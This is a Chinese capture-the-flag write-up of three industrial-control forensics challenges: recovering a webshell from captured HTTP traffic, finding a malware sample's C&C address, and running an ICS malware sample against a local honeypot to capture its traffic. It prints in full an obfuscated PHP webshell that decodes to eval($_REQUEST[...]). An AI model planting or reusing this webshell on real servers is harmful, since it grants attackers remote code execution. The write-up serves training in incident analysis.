目录
1、隐藏的黑客
题目描述:
根据情报得知工控现场发现某SCADA系统被黑客攻破,附件为黑客在目录留下的文件和当时时间段捕获到的一部分流量包,你能根据这些信息分析出蛛丝马迹来么flag形式为 flag{}。
两个附件,一个流量 一个都是一句话木马文件。猜测黑客进行文件上传,所以先过滤http协议。
找到可以文件webshell.php。追踪流查看原始数据
复制到010,可以发现是压缩包.删除头尾多余的字节
要密码且为真加密,这时候就要用到upload目录,写脚本提取。
import os
import re
a = []
for i in os.listdir(r'E:\ctf-web\工控题目\隐藏的黑客\upload'):
with open('E:\\ctf-web\\工控题目\\隐藏的黑客\\upload\\'+i,'r') as f:
passwd = re.findall('\[(.*?)\]',f.readline())[0]
a.append(passwd)
with open('E:\\E-Down\\1.txt','a+') as d:
for i in a:
d.write(i+'\n')
选择字典爆破.得到密码为7b8b965ad4bca。解压的webshell.php
<?php
error_reporting(0);
@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){
if (in_array($x, @$c)){
@$str=@$str.@$c[@$count];
if ($count == 2)
{
@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
}
@$count++;
}
}
?>
稍微修改原本代码得:
<?php
error_reporting(0);
@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){
if (in_array($x, @$c)){
@$str=@$str.@$c[@$count];
if ($count == 2)
{
echo "@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str))";
}
@$count++;
}
}
?>
结果为:
@assert(@base64_decode(@ZXZhbCgkX1JFUVVFU1RbJzlhNzJjM2Q1ZTc0ZjYwNTFiYjNiMzU5MGZhOTMxOWZlJ10pOw))
解码得flag
2、恶意软件后门分析
题目描述:
工程师的笔记本上发现了恶意软件,经排查是一款著名针对工业领域的病毒,溯源分析远控样本文件,确认远程C&C连接地址。flag形式为 flag{}
题目要求找远控服务器ip地址
无壳32位
从start开始分析,进入sub_402261
再进入sub_402174
得到答案
3、恶意软件样本分析
题目描述:某家工厂曾发生过宕机事件案例,为防止再发生此事找了技术人员分析攻击行为流量数据包后发现许多异常端口连接记录,最终得到了这个罪魁祸首的病毒样本,请分析病毒样本尝试复现事件案例帮助工厂实施应急演练,flag形式为 flag{}。
解压文件,阅读readme文件,可以找到该文件的原地址
主要运行decompiled_code目录下的script_test.py。接着就要考虑启蜜罐,捕获病毒的通信,最后就是tcpdump保存通信过程,进行分析.
首先将script_test.py复制到library目录下.接着先开启蜜罐
python2 triconex_honeypot.py
接着开启tcpdump监听本地1502端口
sudo tcpdump -nnvv -i lo port 1502 -w 1.pcap
最后运行病毒
python2 script_test.py 127.0.0.1
打开1.pcap进行流量分析
追踪udp,显示原始数据,一个一个试,第一个就是答案